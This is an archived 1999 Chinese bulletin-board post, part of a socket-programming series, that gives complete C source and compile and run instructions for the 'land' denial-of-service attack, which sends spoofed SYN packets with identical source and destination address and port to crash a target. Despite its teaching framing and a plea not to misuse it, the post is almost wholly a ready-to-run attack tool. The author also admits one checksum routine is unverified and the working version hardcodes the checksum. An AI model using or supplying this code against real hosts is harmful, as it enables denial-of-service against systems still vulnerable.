📄 37.htm
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>123</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="17.htm">上一层</a>][<a href="38.htm">下一篇</a>]
<hr><p align="left"><small>发信人: cloudsky (晓舟·轩辕明月), 信区: Linux <br>
标 题: 网络socket编程(6) <br>
发信站: 武汉白云黄鹤站 (Mon Feb 8 20:22:44 1999) , 站内信件 <br>
11. land攻击源程序示例 <br>
/* <br>
编译环境 solaris2.5.1 <br>
看过源程序就可以向Pwin平台下移植,用VC。因为这次是演示 <br>
Unix/Linux下Socket <br>
编程,VC的程序可以参看Ipman附带的源程序,就不多说了。 <br>
编译命令 cc -o land land.c -lsocket -lnsl <br>
执行方法 因为要建立原始socket的缘故,必须在特权用户下 <br>
land targetIp 139 | 113 <br>
执行纠错 在/usr/include/sys/errno.h中查看错误代码, <br>
比如在非特权用户下会得到13号错误 <br>
意即权限否定。 <br>
一点说明 我是在翻看BSD Socket的过程中给这个程序加了详细注释, <br>
并给出了一切编译运行的说明,初衷不过是想让大家能感性 <br>
地认识一下Socket编程和曾经风靡一时的land攻击 <br>
因为Pwin98已经可以抵抗这种攻击,所以我想这样做没有太 <br>
多危害了。但是显然还有低版本的Pwin系列存在,革命靠自觉, <br>
学习讨论都可以,不要拿着龌龊当有趣。希望这些文章能对爱好 <br>
Unix/Linux却没有太多时间折腾的朋友有所帮助,至少不要象我一 <br>
般瞎折腾良久浪费时间重复劳动。 毕竟我也是业余爱好,对于 <br>
BSD Socket编程根本是一窍不通,那个破破的校验和算法与书中 <br>
提到的不一致,高手指点一下吧,sigh <br>
*/ <br>
#include <stdio.h> <br>
#include <sys/types.h> <br>
#include <sys/socket.h> <br>
#include <netinet/in.h> <br>
#include <netinet/in_systm.h> <br>
#include <netdb.h> <br>
#include <netinet/ip.h> <br>
#include <netinet/tcp.h> <br>
#include <errno.h> <br>
struct pseudohdr { <br>
struct in_addr saddr; <br>
struct in_addr daddr; <br>
u_char zero; <br>
u_char protocol; <br>
u_short length; <br>
struct tcphdr tcpheader; <br>
}; <br>
u_short checksum (u_short* data, u_short length) { <br>
register long value; <br>
u_short i; <br>
value = 0; <br>
for (i = 0; i < (u_short)(length >> 1); i++) { <br>
value += data[i]; <br>
} <br>
if ((length & 1) == 1) { <br>
value += (data[i] << 8); <br>
} <br>
value = (value & 65535) + (value >> 16); <br>
return (~value); <br>
} <br>
/* 这个计算校验和的函数是我按书中描述写的,与原作者给的不一样 */ <br>
u_short anotherChecksum (u_short* data, u_short length) { <br>
register long value; <br>
u_short i; <br>
value = 0; <br>
for (i = 0; i < (u_short)(length >> 1); i++) { <br>
value ^= data[i]; <br>
} <br>
return (~value); <br>
} <br>
int main (int argc, char* argv[]) { <br>
struct sockaddr_in sin; <br>
struct hostent *hoste; <br>
int sock, optval; <br>
char buffer[1024]; <br>
struct pseudohdr pseudoheader; <br>
/* 实际意义就是IP头+TCP头 */ <br>
struct ip *ipheader = (struct ip *)buffer; <br>
struct tcphdr *tcpheader = (struct tcphdr *)(buffer + sizeof(struct ip)) <br>
; <br>
if (argc < 3) { /* 用法land 10.11.5.77 113 或者 land 10.11.5.77 139 */ <br>
/* 用标准错误输出,尽最大可能把提示信息送给用户 */ <br>
fprintf(stderr, "\nUsage: %s IP PORT\n", argv[0]); <br>
return -1; <br>
} <br>
bzero(&sin, sizeof(struct sockaddr_in)); /* 填零 */ <br>
sin.sin_family = AF_INET; /* 总是这个 */ <br>
if ((sin.sin_addr.s_addr = inet_addr(argv[1])) == -1) { <br>
fprintf(stderr, "\nunknown host %s\n", argv[1]); <br>
return -1; <br>
} <br>
else { <br>
/* 调试代码 */ <br>
fprintf(stderr, "\nsin.sin_addr.s_addr = %x\n", sin.sin_addr.s_addr) <br>
; <br>
} <br>
/* 从主机字节顺序转换到网络字节顺序,很重要的一步 */ <br>
if ((sin.sin_port = htons(atoi(argv[2]))) == 0) { <br>
fprintf(stderr, "\nunknown port %s\n", argv[2]); <br>
return -1; <br>
} <br>
/* 创建socket */ <br>
/* #define IPPROTO_RAW 255 */ <br>
if ((sock = socket(AF_INET, SOCK_RAW, 255)) == -1) { <br>
fprintf(stderr, "\ncouldn't create raw socket, %d\n", errno); <br>
return -1; <br>
} <br>
/* #define IPPROTO_IP 0 */ <br>
/* 非零值将enable IP_HDRINCL */ <br>
/* header is included with data (raw) */ <br>
optval = 1; <br>
if (setsockopt(sock, 0, IP_HDRINCL, (char*)&optval, sizeof(int)) == -1) <br>
{ <br>
fprintf(stderr, "\ncouldn't set raw header on socket, %d\n", errno); <br>
<br>
<br>
return -1; <br>
} <br>
bzero(&buffer, sizeof(struct ip) + sizeof(struct tcphdr)); <br>
ipheader->ip_v = 4; <br>
ipheader->ip_hl = sizeof(struct ip) / 4; /* IP头长度计算所用单位为32 <br>
位字 <br>
*/ <br>
/* 数据包长度用字节表示, 包括头的长度 */ <br>
ipheader->ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr)); <br>
ipheader->ip_id = htons(0xF1C); <br>
/* 生存时间表示数据被丢失前保存在网络上的时间, 以秒计 */ <br>
ipheader->ip_ttl = 255; <br>
ipheader->ip_p = IPPROTO_TCP; <br>
/* 源和目的IP地址是同一个,这种包是人为的扭曲 */ <br>
ipheader->ip_src = sin.sin_addr; <br>
ipheader->ip_dst = sin.sin_addr; <br>
/* 源和目的端口是同一个,这种包是人为的扭曲 */ <br>
tcpheader->th_sport = sin.sin_port; <br>
tcpheader->th_dport = sin.sin_port; <br>
tcpheader->th_seq = htonl(0xF1C); /* 转换成网络字节顺序 */ <br>
tcpheader->th_off = sizeof(struct tcphdr) / 4; <br>
/* 标志包括紧急标志、确认标志、入栈标志、重置标志、同步标志等。*/ <br>
/* #define TH_SYN 0x02 */ <br>
tcpheader->th_flags = TH_SYN; <br>
tcpheader->th_win = htons(2048); <br>
bzero(&pseudoheader, 12 + sizeof(struct tcphdr)); <br>
pseudoheader.saddr = sin.sin_addr; <br>
pseudoheader.daddr = sin.sin_addr; <br>
/* #define IPPROTO_TCP 6 */ <br>
pseudoheader.protocol = 6; <br>
pseudoheader.length = htons(sizeof(struct tcphdr)); <br>
bcopy((char*)tcpheader, (char*)&pseudoheader.tcpheader, sizeof(struct tc <br>
phdr <br>
)); <br>
if (argc == 4) { <br>
if (!strcmp(argv[3], "one")) { <br>
tcpheader->th_sum = checksum((u_short*)&pseudoheader, \ <br>
12 + sizeof(struct tcphdr)); <br>
fprintf(stderr, "\ntcpheader->th_sum = %x", tcpheader->th_sum); <br>
} <br>
else if (!strcmp(argv[3], "two")) { <br>
tcpheader->th_sum = anotherChecksum((u_short*)&pseudoheader, \ <br>
12 + sizeof(struct tcphdr)); <br>
<br>
<br>
fprintf(stderr, "\nanother tcpheader->th_sum = %x", tcpheader->t <br>
h_su <br>
m); <br>
} <br>
else { <br>
tcpheader->th_sum = 20; <br>
} <br>
} <br>
/* 注意,上面的代码的意义请参看任意一本讲述TCP/IP协议的书籍,但是可能因为 <br>
校 <br>
验和 <br>
计算有问题,按照上述代码计算下来的校验和导致land攻击无效,原来 <br>
的程序中被 <br>
人改 <br>
成固定的20,我也不理解为何这样就可以有效攻击了,faint <br>
,真是!@#$%^&*() <br>
*/ <br>
else { <br>
tcpheader->th_sum = 20; <br>
} <br>
if (sendto(sock, buffer, sizeof(struct ip) + sizeof(struct tcphdr), \ <br>
0, (struct sockaddr *)&sin, sizeof(struct sockaddr_in)) == -1 <br>
) { <br>
fprintf(stderr, "\ncouldn't send packet, %d\n", errno); <br>
return -1; <br>
} <br>
fprintf(stderr, "\n%s:%s landed\n", argv[1], argv[2]); <br>
close(sock); <br>
return 0; <br>
} /* end of main */ <br>
-- <br>
我问飘逝的风:来迟了? <br>
风感慨:是的,他们已经宣战。 <br>
我问苏醒的大地:还有希望么? <br>
大地揉了揉眼睛:还有,还有无数代的少年。 <br>
我问长空中的英魂:你们相信? <br>
英魂带着笑意离去:相信,希望还在。 <br>
</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="17.htm">上一层</a>][<a href="38.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -